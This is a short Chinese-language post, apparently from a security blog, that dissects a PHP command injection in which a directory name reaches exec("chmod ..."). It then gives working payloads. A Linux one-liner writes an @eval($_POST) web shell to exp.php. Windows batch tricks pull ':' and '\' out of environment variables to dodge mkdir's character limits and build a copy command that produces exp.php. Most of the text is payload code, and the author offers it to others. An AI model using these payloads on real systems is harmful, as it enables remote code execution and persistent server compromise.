漏洞文件
- <?
- function FDir($homedir, $dper)
- {
- $dir_yn = mkdir($homedir, $dper);
- if($dir_yn)
- {
- exec("chmod ".$dper." ".$homedir);
- return true;
- }
- else
- {
- return false;
- }
- }
- $config_id = $_POST[config_id];
- $config_id = "some_str_here_".$tconfig_id;
- ......
- $object->insert($config_id, $table_name);
- ......
- FDir("../data/".$config_id."_data", 777);
- ?>
很明显的,$homedir存在命令注入漏洞,只是在命令执行前,需要mkdir成功。
Linux系统就很简单了:
- ;var1=;${var1:=<?php @eval($};var2=;${var2:=_POST['ech0!']);?>};echo $var1$var2>..$(expr substr $(pwd) 1 1)data$(expr substr $(pwd) 1 1)exp.php;
而windows系统,想要mkdir成功的话,文件名不能包含任何下列字符之一:
在不允许有以上字符的情况下,怎么构造注入命令呢,下面是我构造的,希望有人能用的上。
命令嘛,肯定要用到一些特殊字符,比如斜杠啊什么的,但是斜杠被限制了,那么我们的思路是从环境变量里截取出来,但是截取命令又需要用到冒号,这里冒号也被限制了。
那么我们要做到不直接用冒号来截取冒号
- set C=%systemdrive%&call set var=%%C%~1,1%
- call echo %var%
- :
我们再把斜杠凑出来:
- set C=%systemdrive%&set v1=w&set w=%windir%&call set v2=%%C%~1,1%&call call set v3=%v1%%v2%~2,1%&call call set v4=%%v3%
v4就是斜杠了
我们用他们来构造一个copy命令:
- set C=%systemdrive%&set F=w&set w=%tmp%&call set U=%%C%~1,1%&call call set K=%F%%U%~2,1%&call call set H=%%K%&set t=temp&call copy %C%%H%%t%%H%target.tmp exp.php
这个就是将C:\temp\target.txt 给复制到当前工作目录,格式转php
